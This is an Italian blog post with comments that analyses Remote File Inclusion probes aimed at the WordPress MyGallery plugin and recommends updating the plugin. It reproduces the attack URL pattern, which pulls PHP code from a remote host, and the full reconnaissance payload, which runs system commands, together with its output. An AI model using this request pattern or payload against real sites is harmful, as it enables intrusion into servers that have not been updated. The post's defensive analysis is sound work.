Ecco uno dei prossimi vettori di infezione dei blog basati su WordPress, dopo le versioni non aggiornate e i temi troianizzati. E non c’è di che stare allegri, proprio no.
L’antefatto
Il test per la verifica dei blog basati su WordPress ha un controllo per verificare ed eventualmente riportare tentativi di hacking. Non è che ci sia molto da bucare, ma visto che non sono onnisciente, meglio un controllo in più che uno in meno, tanto più che costa veramente poco in termini di risorse di elaborazione.
In breve, viene sia controllato l’URL inserito nella casella di testo, sia l’URL completo con cui viene invocato il test stesso, infine viene controllato se vi siano dati extra nella richiesta POST. Proprio il controllo dell’URL di invocazione del test sta segnalando da qualche settimana uno strano schema, ripetuto parecchie volte al giorno.
L’analisi
Il test viene chiamato con dati aggiuntivi nell’URL, associati ad un nome specifico, sempre quello. Lo user agent è sempre libwww-perl/5.805 (può cambiare la versione). L’URL ha questo schema:
http://server/file.php?myPath=http://altrosito/directory/file.txt??Lo schema sembra proprio quello di un tentativo di RFI (Remote File Inclusion). Prelevando a mano il file che si tenta di includere si scopre questo:
<?php
function ConvertBytes($number) {
$len = strlen($number);
if($len < 4) {
return sprintf("%d b", $number); }
if($len >= 4 && $len <=6) {
return sprintf("%0.2f Kb", $number/1024); }
if($len >= 7 && $len <=9) {
return sprintf("%0.2f Mb", $number/1024/1024); }
return sprintf("%0.2f Gb", $number/1024/1024/1024); }
echo "Osirys<br>";
$un = @php_uname();
$id1 = system(id);
$pwd1 = @getcwd();
$free1= diskfreespace($pwd1);
$free = ConvertBytes(diskfreespace($pwd1));
if (!$free) {$free = 0;}
$all1= disk_total_space($pwd1);
$all = ConvertBytes(disk_total_space($pwd1));
if (!$all) {$all = 0;}
$used = ConvertBytes($all1-$free1);
$os = @PHP_OS;
echo "0sirys was here ..<br>";
echo "uname -a: $un<br>";
echo "os: $os<br>";
echo "id: $id1<br>";
echo "free: $free<br>";
echo "used: $used<br>";
echo "total: $all<br>";
exit;
Questo codice PHP è innocuo: si limita a raccogliere informazioni sul server dove viene eseguito e riportarle in una semplice pagina HTML. Le informazioni che raccoglie sono: nome e versione del sistema operativo, nome del server, user con cui viene eseguito lo script PHP (lo stesso del web server), spazio disco. Qualcosa del genere:
0sirys was here ..
uname -a: Linux hawking 2.6.25.11-60.fc8 #1 SMP Mon Jul 21 02:06:29 EDT 2008 i686
os: Linux
id: uid=500(mario) gid=500(mario) gruppi=500(mario)
free: 148.28 Gb
used: 77.31 Gb
total: 225.59 Gb
i dati sono quelli che vengono fuori eseguendo lo script sul mio computer con il comando php -f script.php, usando l’interprete PHP-cli.
La vulnerabilità cercata è nel plugin MyGallery versione 1.2.x o precedenti, nello specifico questa documentata da Secunia vecchia di oltre un anno. La vulnerabilità è classificata come altamente critica, permettendo l’inclusione e l’esecuzione di file PHP presi ovunque semplicemente inserendoli nell’URL come viene fatto appunto nelle richieste che sto ricevendo e che ho mostrato sopra. Se viene verificato che il web server del sito esegue il codice iniettato, può eseguire qualsiasi codice PHP gli venga propinato.
Ho peraltro rilevato una stranezza: non viene selezionato un file specifico per il tentativo, ma vengono “provati” tutti quelli raggiungibili da un qualche link esplicito nel blog. Le cose sono due: o i bot attivi sono “stupidi”, o c’è qualcosa che non sappiamo. Nei principali motori di ricerca non vi è traccia di problemi relativi ad una inclusione tramite variabili myPath, salvo quello appena riportato con il plugin MyGallery.
Rischi e contromisure
Il rischio in questo momento è estremo: ci sono almeno tre differenti bot che cercano attivamente in Rete blog con il plugin installato nella versione vulnerabile, quindi avere il plugin non aggiornato significa trovarsi a breve col blog compromesso. In che modo e per fare cosa non è difficile da immaginare.
L’unica contromisura realmente efficace è aggiornare il plugin, o passare ad altro se l’aggiornamento non è possibile.
Conclusioni
Non dovrebbero essere molti i siti che fanno uso di questo plugin. Se il vostro blog ne fa uso, è proprio il caso di controllare se avete la versione vulnerabile e cambiare immediatamente.
#1 da Osirys il 19 September 2008 - 23:09
Mm, il mio response per l’rfi. Quello è l’rfi response del v6. Non so perchè, ma mi sento un pò un cattivone hihi
#2 da Mario Pascucci il 21 September 2008 - 22:02
@Osirys
Rilassati. Ce ne sono almeno altri quattro, oltre te, che stanno cercando di sfruttare quel vecchio exploit. E tutti fate lo stesso errore.
#3 da Osirys il 28 September 2008 - 14:41
.. Ma sai almeno di cosa stai parlando ??? Quel file in php serve solo per fare un test. Lo scanner lo include nei presunti siti vulnerabili da rfi, e se il codice dello script in php viene eseguito e ritorna una determinata stringa che poi verra individuata dallo scanner grazie a una regexp, il bot capira che il sito è vulnerabile.
E poi esperto di sicurezza, che exploit starei cercando di sfruttare io? E che errore farei?
#4 da Mario Pascucci il 28 September 2008 - 15:04
@Osirys
No, parlo per il gusto di parlare.
Che c’è? Ti ho punto sul vivo?
#5 da osirys il 30 September 2008 - 16:48
.. Scvusa eh. Hai detto che ci sono altri quattro come me che cercano di sfruttare un exploit.. mah forse non sai cosa stai dicendo. Se ti riferisci all’rfi.. l’rfi non è un exploit, ma una vulnerabilità. E quel file serve solo da test per vedere se un sito è vulnerabile a rfi o no. E non ci sono errori. Ora dimmi cosa intendi, perchè non ti capisco mica
#6 da Surfer il 11 March 2009 - 14:54
io trovo sul mio sito diversi tentativi di RFI proprio con questo script…
puntualmente viene bloccato.
ma nun c’hanno niente di meglio da fa questi?
#7 da Dio il 11 July 2009 - 16:39
Lasciate perdere , è un semplice bot da IRC programmato in perl da un povero lamerello 19enne , quello che ha postato là sopra , che si limita a cercare di exploitare vecchie vuln.
Gente più demente di lui lo userà sicuramente per queste stronzate .
Non parlate di coding , exploiting o sicurezza citando queste stronzate o simili ragazzini che passano la vita a rippare sources ( o meglio a metterli insieme a cazzo di cane ) o su sourceforge e simili a cercare webapps vulnerabili per fare gli h4x0r su milw0rm.
Cià ^__^